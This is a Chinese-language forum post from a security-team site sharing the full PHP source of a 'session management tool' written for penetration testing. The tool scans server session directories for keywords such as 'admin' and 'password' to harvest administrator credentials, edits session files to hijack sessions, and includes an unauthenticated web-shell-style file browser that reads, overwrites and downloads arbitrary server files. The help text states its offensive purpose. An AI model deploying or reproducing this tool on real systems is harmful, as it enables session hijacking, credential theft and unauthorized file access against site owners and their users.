文章作者:Inking
資訊來源:邪惡八進位資訊安全團隊(www.eviloctal.com)
前兩天我所在的樓層斷了網,鬱悶的我什麼也幹不了.之前剛好看到劍心的blog裡有篇瘋狗寫的關於利用session滲透的文章,文章寫得很簡單,到最後" 小氣"的瘋狗也沒有把利用程式發出來,所以我不管有沒有用先把它寫下來了.由於不能查資料,所以只好對這手冊看,代碼在很多方面可能還存在著缺陷.最煩人的還是正則和檔案流操作的問題,迴圈來迴圈去的,把我的頭都搞暈了,光是調試都花了整整一天的時間(寫代碼粗心大意沒辦法).希望大家多提提意見看法.. 瘋狗的章:http://www.loveshell.net/blog/blogview.asp?logID=101
寫好後我對程式的執行效率進行了大致的測試
執行環境:winxp,PHP5,apache2,酷睿2050--1.6GHZ,512m記憶體,945主板
檔案系統:6層目錄,每層1000個檔案,session檔案大約為50-100位元組
搜尋這6000個檔案大約需10-15s的執行時間,效率並不像我想象中的那麼低.
複製代碼 代碼如下:<?
if(isset($_GET['download'])){
$filename=$_GET['filename'];
$dirname=$_GET['dirname'];
ob_start();
download($dirname,$filename);
flush;
}
session_start();
$default=ini_get('session.save_path');
$thispath=str_replace("\\","/",__FILE__);
$thispath=substr($thispath,0,strrpos($thispath,"/"));
?>
<html>
<head>
<title>SESSION管理工具</title>
<head>
<style>
body{
margin:0;
padding:0;
background:#000000;
color:green;
margin-top=60px;
FONT-FAMILY: verdana;
FONT-SIZE: 10px;
}
input{
margin:0px;
padding:0px;
color:green;
border: 1px;
border-bottom-color:#ffffff;
}
hr{
width:85%;
height:1px;
}
</style>
</head>
<body><center><h3>PHP服務端SESSION管理工具</h3><p><a href=<? echo $_SESSION['PHP_SELF'];?>?help=yes>(使用方法)</a> <a href="<? echo $_SESSION['PHP_SELF'];?>?fcontrol=yes&dirname=<? echo $thispath;?>">(檔案操作)</a></p>
<hr>
<p> </p>
<table border=1 bordercolorlight="000000" bordercolordark="000000">
<form action=<? echo $_SERVER['PHP_SELF'];?> method=GET>
<tr><td><b> SESSION路徑 </b><input type=text name=spath value="<? echo $default;?>"> </td></tr>
<tr><td><input type="radio" checked name="fetch" value=searchone onclick="sessname.disabled=false;"><b>搜尋指定SESSION</b>
<input type=text name=sessname>
<tr><td><input type="radio" name="fetch" value=all onclick="sessname.disabled=true;"><b>讀取所有SESSION</b>
<input type=submit value=讀取> <input type=reset value=重設></td></tr></form></table><p></p>
<table border=1 bordercolorlight="000000" bordercolordark="000000">
<?
set_time_limit(0);
if(PHP_VERSION < '4.1.0') {
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
}
$spath=$_GET['spath'];
if(isset($_GET['fetch'])){//關鍵詞搜尋
if(isset($_GET['fetch']['searchon'])&&isset($_GET['sessname'])&&$type="1"){
!empty($_GET['sessname']) or die("<tr><td><font color=#B3614D>請輸入搜尋索引鍵</font></td></tr>");
$sessname=$_GET['sessname'];
getfname($spath);
count($session)>0 or die("<tr><td><font color=#B3614D>內容為空白,請檢查目錄的正確性或者修改關鍵字</font></td></tr>");
foreach($session as $fpath=>$sessinfo){
foreach($sessinfo as $sessid=>$contents){
echo "<tr><p><td><a href=?modfname=".$fpath."&modname=".$sessid."&modify=1>SID: ".$sessid."</a></td></p></tr>";
foreach($contents as $name=>$value)
echo "<tr><td><p>".$name."=>".$value."</p></td></tr>";
}
}
}
elseif(isset($_GET['fetch']['all'])){//尋找全部
$type=0;
getfname($spath);
count($session)>0 or die("<tr><td><font color=#B3614D>內容為空白,請檢查目錄的正確性</font></td></tr>");
foreach($session as $fpath=>$sessinfo){
foreach($sessinfo as $sessid=>$contents){
echo "<tr><p><td><a href=?modfname=".$fpath."&modname=".$sessid."&modify=1>SID: ".$sessid."</a></td></p></tr>";
foreach($contents as $name=>$value)
echo "<tr><td><p>".$name."=>".$value."</p></td></tr>";
}
}
}
echo "</center></table>";
}
if(isset($_GET['modify'])){//顯示某個檔案下的內容
$modify=$_GET['modify'];
$fpath=$_GET['modfname'];
$sid=$_GET['modname'];
getvalue($fpath,'1','');
echo "<tr><td>你所修改的session檔案的路徑: <p>".$fpath."</p></td></tr>";
echo "<form action=".$_SERVER['PHP_SELF']." method=post>";
echo "<input type=hidden value=".$fpath." name=m_path>";
!empty($modsession) or die("<tr><td><font color=#B3614D>內容為空白,請檢查目錄的正確性</font></td></tr>");
foreach($modsession as $modsessinfo){
foreach($modsessinfo as $modsessid=>$contents){
echo "<tr><p><td>SESSION_ID <input type=text name=m_sid value=".$modsessid."> </td></p></tr>";
$i=0;
foreach($contents as $modname=>$modvalue){
echo "<tr><td><p>".$modname." => <input type=text name=m_value[".$i++."] value=".$modvalue."></p></td></tr>";
}
}
}
echo "<tr><td><input type=submit value=確認修改> 或<a href=".$_SERVER['PHP_SELF']."?modify_all=yes&modfname=".urlencode($fpath).">開啟檔案</a>進行完全編輯<a href=\"javascript:history.go(-1);\">或返回修改其它</a></td></tr></form></center></table>";
}
if(isset($_POST['m_path'])){//對單個值進行修改
$m_path=$_POST['m_path'];
$m_value=$_POST[m_value];
$f=fopen($m_path,'r');
$content=fgets($f,1024);
$explode=explode(";",$content);
fclose($f);
$f=fopen($m_path,'w');
$m_content='';
for($i=0;$i<count($m_value);$i++){
$modified=ereg_replace("\".*\"",'"'.$m_value[$i].'"',$explode[$i]);
$m_content.=$modified.";";
}
fwrite($f,$m_content);
fclose($f);
echo "<tr><td>修改成功,<a href=".$_SERVER['HTTP_REFERER'].">返回重新修改該session檔案</a></td></tr></center></table>";
}
if(isset($_GET['modify_all'])){//顯示要修改的檔案的內容
$filepath=$_GET['modfname'];
$f=fopen($filepath,"r");
$fcontent=fread($f,filesize($filepath));
echo "<tr><td>你正修改的檔案是".$filepath;
echo "<form action=".$_SERVER['PHP_SELF']." method=post>";
echo "<input type=hidden name=filepath value=".$filepath.">";
echo "<center><textarea cols=100 rows=15 name=m_content>".$fcontent."</textarea></center>";
echo "<p><input type=submit value=確認修改> <a href=\"javascript:history.go(-1);\">返回上一步</a></form></p></td></tr></center></table>";
fclose($f);
}
if(isset($_POST['m_content'])){//進行完全修改
$m_content=$_POST['m_content'];
$filepath=$_POST['filepath'];
if(get_magic_quotes_gpc()) $m_content=stripslashes($m_content);
$f=fopen($filepath,"w");
fwrite($f,$m_content);
fclose($f);
echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?modify_all=yes&modfname=".urlencode($filepath).">點這裡查看或重新修改</a></td></tr>";
echo "<tr><td><a href=".$_SERVER['PHP_SELF'].">返回首頁</a></td></tr></center></table>";
}
if(isset($_GET['help'])){//顯示help
print<<<eof
<tr><td>本程式的功能是從指定的檔案夾下讀取本檔案夾及其子檔案夾下的所有session檔案的值,或者搜尋含有指定關鍵字的session檔案,不過注意由於寫得很粗略,沒有用到資料庫功能,所以不支援多個關鍵字搜尋,請搜尋類似"admin","pwd","user","password"等可能含有管理員資訊的關鍵字.<br>如果伺服器的訪問量大,勢必會產生很多session檔案,最好用關鍵字的方法,並耐心等待,因為該程式要一個個的讀取session檔案,並進行匹配,效率之低可想而知.<br>由於這個程式就是為了從眾多session檔案中尋找相關內容而設計的,所以並沒有添加直接修改指定session檔案的功能,而只是對搜尋出來的session檔案進行編輯.如果需要,請用記事本開啟session檔案進行編輯.你也可以提交如下url進行編輯:"http://test.com/session.php?modfname=<session檔案的路徑>&modname=<session_id>&modify=1".<br>在session路徑的填寫框中盡量用"/"來代替"\",windows的seesion檔案預設儲存路徑為"c:/windows/temp",linux下為"/tmp",不過程式會自動幫你讀出當前session所在的路徑,如果需要讀取其它的session請自行尋找,並手動填入.如果知道你所需要的session檔案的具體檔案夾,最好具體指明,這樣可以省時一些.點"讀取"後會顯示出搜尋結果,以"session_name=>value"的形式顯示你所搜尋到的結果,點擊對應的session_id進入編輯狀態,點擊"確定修改"進行相關內容的修改,或者點"開啟檔案"進行完全編輯,然後確認儲存.<br>如果目錄填寫不正確或者目錄中的session檔案都為空白,那麼程式會報錯"目錄中無session檔案",這個時候請仔細檢查.<br>程式做好後一直因為網路沒有恢複,所以我又添加了個簡單的檔案操作功能,方便使用吧<br>因為我自己對正則不是很熟悉,對session的工作原理可能也瞭解的不是很透徹,前前後後花了兩天的時間才寫好,光調試就花了我大半的時間,所以bug難免,尤其在正則匹配方面,歡迎到我的部落格交流.<br>作這個程式的靈感來自瘋狗的兩篇文章,請參閱:http://www.loveshell.net/blog/blogview.asp?logID=101<br>具體使用時請自行刪除本協助文檔,本程式歸Inking所有,僅供交流,一切使用上造成的後果於作者無關.</td></tr></center></table>
eof;
}
if(isset($_GET['fcontrol'])){
$dirname=$_GET['dirname'];
if($dirname[strlen($dirname)-1]!="\\"&&$dirname[strlen($dirname)-1]!="/") $dirname.="/";
echo "<tr><td>當前檔案路徑: ".$dirname."</td></tr>";
$opendir=opendir($dirname) or die("<tr><td><font color=#B3614D>開啟檔案失敗</font></td></tr>");
while($file=readdir($opendir)){
if($file=="."){
echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?fcontrol=yes&dirname=".urlencode($dirname).">".$file."</a></td></tr>";
continue;
}
elseif($file==".."){
$newname=substr($dirname,0,strrpos($dirname,"/"));
$newname=substr($newname,0,strrpos($newname,"/")+1);
echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?fcontrol=yes&dirname=".urlencode($newname).">".$file."</a></td></tr>";
}
elseif(is_dir($dirname.$file."/")){
echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?fcontrol=yes&dirname=".urlencode($dirname.$file)."/>".$file."</a></td></tr>";
}
elseif(getftype($file)){
echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?modify_all=yes&modfname=".urlencode($dirname.$file).">".$file."</a></td></tr>";
}
else{
echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?download=yes&filename=".urlencode($file)."&dirname=".urlencode($dirname).">".$file."</a></td></tr>";
}
}
}
function getfname($spath){//遍曆目錄,並調用getvalue()函數得到各個session_name的值
global $fpath,$file;
if($spath[strlen($spath)-1]!="\\"&&$spath[strlen($spath)-1]!="/") $spath.="/";
$opendir=opendir($spath) or die("<tr><td><font color=#B3614D>開啟檔案失敗</font></td></tr>");
while($file=readdir($opendir)){
if($file=="."||$file=="..") continue;
if(is_dir($spath.$file."/")){
getfname($spath.$file."/");
}
elseif(ereg("^sess_",$file)){
$fpath=$spath.$file;
preg_match('/(^sess_)(.+)+/',$file,$prex);
$file=$prex[2];
getvalue($fpath,'0',$type);
}
}
closedir($opendir);
}
function getvalue($fpath,$modify='0',$type){//得到某個session檔案中的session變數的值
global $type,$fpath,$sessname,$session,$file,$modsession,$sid;
$f=fopen($fpath,"a+");
$content=fgets($f,1024);
fclose($f);
$explode=explode(";",$content);
$i=0;
while($match=$explode[$i++]){
preg_match('/(^[^\|]*)+\|.+\"(.+)+\"$/',$match,$value);
$sname=$value[1];
$svalue=$value[2];
if($modify==1){
$modsession[$fpath][$sid][$sname]=$svalue;
continue;
}
if($type){
if(eregi($sessname,$sname)==true){
$session[$fpath][$file][$sname]=$svalue;
}
}
else{
$session[$fpath][$file][$sname]=$svalue;
}
}
}
function getftype($filename){//判斷檔案類型
$ftype=substr($filename,strrpos($filename,".")+1);
switch($ftype){
case "txt":
return true;
case "asp":
return true;
case "php":
return true;
case "ini":
return true;
case "log":
return true;
default:
return false;
}
}
function download($dirname,$filename){
$f=fopen($dirname.$filename,"r");
$contents=fread($f,filesize($dirname.$filename));
fclose($f);
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length: ".filesize($dirname.$filename));
Header("Content-Disposition: attachment; filename=".$filename);
echo $contents;
}
?>
</table>
<p> </p>
<hr>
<center><p>Code By Inking <a href='http://hi.baidu.com/in_king'>The Entry To My Website</a> QQ: 165068585</p><p> </p>
</center>
</body>
</html>
下載